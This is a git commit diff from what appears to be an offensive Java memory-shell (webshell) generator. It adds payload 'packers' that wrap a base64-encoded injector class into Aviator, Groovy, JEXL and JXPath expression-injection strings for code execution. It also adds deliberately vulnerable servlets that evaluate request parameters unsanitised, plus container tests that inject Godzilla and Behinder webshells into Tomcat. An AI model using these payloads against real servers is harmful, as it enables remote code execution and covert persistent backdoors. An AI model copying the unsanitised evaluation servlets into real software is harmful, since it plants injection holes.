feat: support more expression packer

This commit is contained in:
ReaJason
2025-01-29 22:05:25 +08:00
parent 410ee1eff7
commit c808a52d4e
19 changed files with 400 additions and 9 deletions
@@ -1,16 +1,20 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
@@ -69,6 +73,10 @@ public enum Packers {
OGNL(new OGNLPacker()),
MVEL(new MVELPacker()),
JXPath(new JXPathPacker()),
JEXL(new JEXLPacker()),
Groovy(new GroovyPacker()),
Aviator(new AviatorPacker()),
SpEL(new SpELPacker()),
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
@@ -0,0 +1,18 @@
package com.reajason.javaweb.memshell.packer.aviator;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class AviatorPacker implements Packer {
String template = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('{{className}}', Base64Utils.decodeFromString('{{base64Str}}'), ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread()));";
@Override
public String pack(GenerateResult generateResult) {
return template.replace("{{className}}", generateResult.getInjectorClassName())
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str());
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.packer.groovy;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class GroovyPacker implements Packer {
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(GenerateResult generateResult) {
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.packer.jexl;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JEXLPacker implements Packer {
String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(GenerateResult generateResult) {
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.packer.jxpath;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JXPathPacker implements Packer {
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
@Override
public String pack(GenerateResult generateResult) {
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -147,6 +147,10 @@ public class ShellAssertionTool {
case SpEL -> VulTool.postData(url + "/spel", content);
case OGNL -> VulTool.postData(url + "/ognl", content);
case MVEL -> VulTool.postData(url + "/mvel", content);
case JXPath -> VulTool.postData(url + "/jxpath", content);
case JEXL -> VulTool.postData(url + "/jexl2", content);
case Aviator -> VulTool.postData(url + "/aviator", content);
case Groovy -> VulTool.postData(url + "/groovy", content);
case Freemarker -> VulTool.postData(url + "/freemarker", content);
case Velocity -> VulTool.postData(url + "/velocity", content);
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
@@ -34,7 +34,7 @@ public class Tomcat8ContainerTest {
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
@@ -78,12 +78,6 @@ public class Tomcat8ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.MVEL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
@@ -0,0 +1,69 @@
package com.reajason.javaweb.integration.tomcat;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/4
*/
@Slf4j
@Testcontainers
public class Tomcat8ExpressionContainerTest {
public static final String imageName = "tomcat:8-jre8";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.MVEL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JEXL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JXPath),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Aviator),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Groovy),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
}
}
+14 -2
View File
@@ -9,8 +9,8 @@ java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
@@ -22,7 +22,19 @@ dependencies {
implementation 'org.apache.velocity:velocity:1.7'
implementation 'ognl:ognl:2.7.3'
implementation 'org.mvel:mvel2:2.4.7.Final'
implementation 'org.apache.commons:commons-jexl:2.1.1'
implementation 'org.apache.commons:commons-jexl3:3.2.1'
implementation 'commons-jxpath:commons-jxpath:1.3'
implementation 'com.googlecode.aviator:aviator:5.2.7'
implementation 'org.codehaus.groovy:groovy:3.0.6'
implementation 'org.springframework:spring-expression:4.3.0.RELEASE'
providedCompile 'de.odysseus.juel:juel-api:2.2.7'
providedCompile "javax.servlet:servlet-api:2.5"
testImplementation platform('org.junit:junit-bom:5.11.4')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
test {
useJUnitPlatform()
}
@@ -0,0 +1,22 @@
import com.googlecode.aviator.AviatorEvaluator;
import com.googlecode.aviator.AviatorEvaluatorInstance;
import groovy.lang.GroovyShell;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class AviatorServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
resp.getWriter().println(evaluator.execute(data));
}
}
@@ -0,0 +1,20 @@
import groovy.lang.GroovyShell;
import ognl.OgnlContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class GroovyServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
resp.getWriter().println(new GroovyShell().evaluate(data));
}
}
@@ -0,0 +1,24 @@
import org.apache.commons.jexl2.Expression;
import org.apache.commons.jexl2.JexlEngine;
import org.apache.commons.jexl2.MapContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class JEXL2Servlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
JexlEngine jexl = new JexlEngine();
Expression e = jexl.createExpression(data);
MapContext jc = new MapContext();
resp.getWriter().println(e.evaluate(jc));
}
}
@@ -0,0 +1,26 @@
import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.apache.commons.jexl3.MapContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class JEXL3Servlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
JexlEngine jexl = new JexlBuilder().create();
JexlExpression e = jexl.createExpression(data);
MapContext jc = new MapContext();
resp.getWriter().println(e.evaluate(jc));
}
}
@@ -0,0 +1,21 @@
import groovy.lang.GroovyShell;
import org.apache.commons.jxpath.JXPathContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class JXPathServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
JXPathContext context = JXPathContext.newContext(null);
resp.getWriter().println(context.getValue(data ));
}
}
@@ -81,6 +81,51 @@
<url-pattern>/mvel</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>groovy</servlet-name>
<servlet-class>GroovyServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>groovy</servlet-name>
<url-pattern>/groovy</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>jexl2</servlet-name>
<servlet-class>JEXL2Servlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>jexl2</servlet-name>
<url-pattern>/jexl2</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>jexl3</servlet-name>
<servlet-class>JEXL3Servlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>jexl3</servlet-name>
<url-pattern>/jexl3</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>jxpath</servlet-name>
<servlet-class>JXPathServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>jxpath</servlet-name>
<url-pattern>/jxpath</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>aviator</servlet-name>
<servlet-class>AviatorServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>aviator</servlet-name>
<url-pattern>/aviator</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>velocity</servlet-name>
<servlet-class>VelocityServlet</servlet-class>
@@ -0,0 +1,18 @@
import com.googlecode.aviator.AviatorEvaluator;
import com.googlecode.aviator.AviatorEvaluatorInstance;
import org.junit.jupiter.api.Test;
import org.springframework.util.ClassUtils;
/**
* @author ReaJason
* @since 2025/1/29
*/
class AviatorServletTest {
@Test
void test() {
String exp = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread())";
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
System.out.println(evaluator.execute(exp));
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,18 @@
import org.apache.commons.jexl2.Expression;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/1/29
*/
class JEXL2ServletTest {
@Test
void test() {
System.out.println(System.getProperty("java.version"));
org.apache.commons.jexl2.JexlEngine jexl = new org.apache.commons.jexl2.JexlEngine();
Expression e = jexl.createExpression("''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js')");
org.apache.commons.jexl2.MapContext jc = new org.apache.commons.jexl2.MapContext();
System.out.println(e.evaluate(jc));
}
}
@@ -0,0 +1,19 @@
import org.apache.commons.jexl2.Expression;
import org.apache.commons.jexl3.*;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/1/29
*/
class JEXL3ServletTest {
@Test
void test() {
System.out.println(System.getProperty("java.version"));
JexlEngine jexl = new JexlBuilder().create();
JexlExpression e = jexl.createExpression("''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js')");
JexlContext jc = new MapContext();
System.out.println(e.evaluate(jc));
}
}